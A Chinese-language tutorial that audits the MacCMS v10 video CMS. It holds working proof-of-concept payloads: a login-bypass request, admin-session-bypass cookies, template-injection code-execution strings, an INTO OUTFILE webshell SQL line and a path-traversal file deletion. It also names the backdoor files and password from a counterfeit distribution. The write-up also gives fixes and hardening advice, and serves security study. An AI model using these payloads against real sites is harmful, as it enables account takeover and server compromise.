边吃瓜边审计 MacCMS
字数 1780
更新时间 2025-08-13 07:27:25

MacCMS v10 代码审计与漏洞利用教学文档

0x01 简介

MacCMS 是一套快速视频内容管理开源 CMS 系统,目前流行的两个版本是 v10 和 v8。本教学文档主要针对 MacCMS v10 的代码审计。

技术栈

  • 采用 ThinkPHP 5.0 框架
  • 需要熟悉 TP5 框架特性

版本争议

目前有两个自称官方的网站:

  • maccms.la (GitHub账号: magicblack)
  • maccms.pro (GitHub账号: maccmspro)

0x02 漏洞分析

1. 前台任意用户登录

漏洞位置

application/common/model/User.php 中的 login 方法

漏洞原理

存在两种登录验证方式:

  1. 用户名密码验证
  2. 第二种验证方式构造 SQL 语句 where $data['col']=$data['openid'],参数完全可控

利用方式

构造 user_id=xxx 实现任意用户登录

POC

POST /index.php/user/login
openid=1&col=user_id

修复建议

  • 限制 col 参数为特定字段
  • 增加权限验证

2. 绕过后台会话验证

漏洞位置

application/common/model/Admin.php 中的 checkLogin 方法

漏洞原理

  1. $admin_id, $admin_name, $admin_check 来自客户端 cookie,完全可控
  2. 利用 TP5 cookie 助手函数的特性,可构造布尔值 true
  3. 结合 TP5 的 where 条件构造特性实现绕过

利用方式

  1. 构造模糊查询条件
  2. 利用 PHP 弱类型比较

POC

Cookie: 
admin_id[]=like;admin_id[]=%; 
admin_name[]=like;admin_name[]=%; 
admin_check=think:true

或精简版:

Cookie: 
admin_id=think:["like","%"]; 
admin_name=think:["like","%"]; 
admin_check=think:true

修复情况

  • v2020.1000.1042: 对 cookie 值做 urldecode 操作
  • v2020.1000.1062: 改用 session 处理会话

3. 后台任意文件写入

漏洞位置

application/admin/controller/Template.php 中的 info 方法

限制条件

  1. 文件后缀限制为 html/htm/js/xml
  2. 内容过滤 <?{php}

绕过方式

方法1: 更换 PHP 标记风格
<script language="php">phpinfo();</script>

(仅适用于 PHP5)

方法2: 文件包含
  1. 上传含 PHP 代码的文件
  2. 使用 TP5 的 include 标签包含上传文件
方法3: 利用 TP5 模板标签
{:$a="ph"."pinfo";$a()}

{~$a="ph"."pinfo";$a()}

修复情况

后续版本增加了对敏感字符的过滤,但未完全解决问题

4. 后台数据库功能利用

漏洞位置

application/admin/controller/Database.php 中的 sql 方法

利用方式

4.1 INTO OUTFILE 写木马
(select '<?php phpinfo();?>' into outfile '/var/www/1.php')
4.2 任意文件删除
  1. 修改数据库中的文件路径
UPDATE `mac_annex` SET `annex_file` = 'upload/../application/data/install/install.lock' WHERE `annex_id` = 21
  1. 使用删除功能删除文件

5. 其他安全问题

5.1 存储型 XSS

后台添加文章/视频处存在存储型 XSS

5.2 离线安装应用上传木马

通过伪造 info.ini 文件上传恶意压缩包

5.3 假冒网站后门

历史上仿冒网站 maccmsv10.com 的源码中包含后门:

  • extend/upyun/src/Upyun/Api/Format.php
  • extend/Qcloud/Sms/Sms.php
    密码: WorldFilledWithLove

0x03 总结

主要问题根源

  1. 认证机制不严谨
  2. 对 TP5 框架特性理解不足
  3. 输入过滤不完善

审计建议

  1. 重点关注用户认证相关代码
  2. 检查所有文件操作功能
  3. 审计数据库操作功能
  4. 验证所有用户输入点

防御建议

  1. 使用最新修复版本
  2. 加强输入验证和过滤
  3. 使用 session 而非 cookie 存储认证信息
  4. 限制后台高危功能权限

附录

参考链接

  • https://www.maccms.la/
  • https://www.zhihu.com/question/469030135
  • https://tieba.baidu.com/p/7425108612
  • https://www.xunaonao.com/15058.html

测试模板下载

https://www.lanzoux.com/s/pgcms


本教学文档详细分析了 MacCMS v10 的主要安全漏洞,包括漏洞原理、利用方式和修复建议,可作为代码审计和安全加固的参考指南。

相似文章
相似文章
 全屏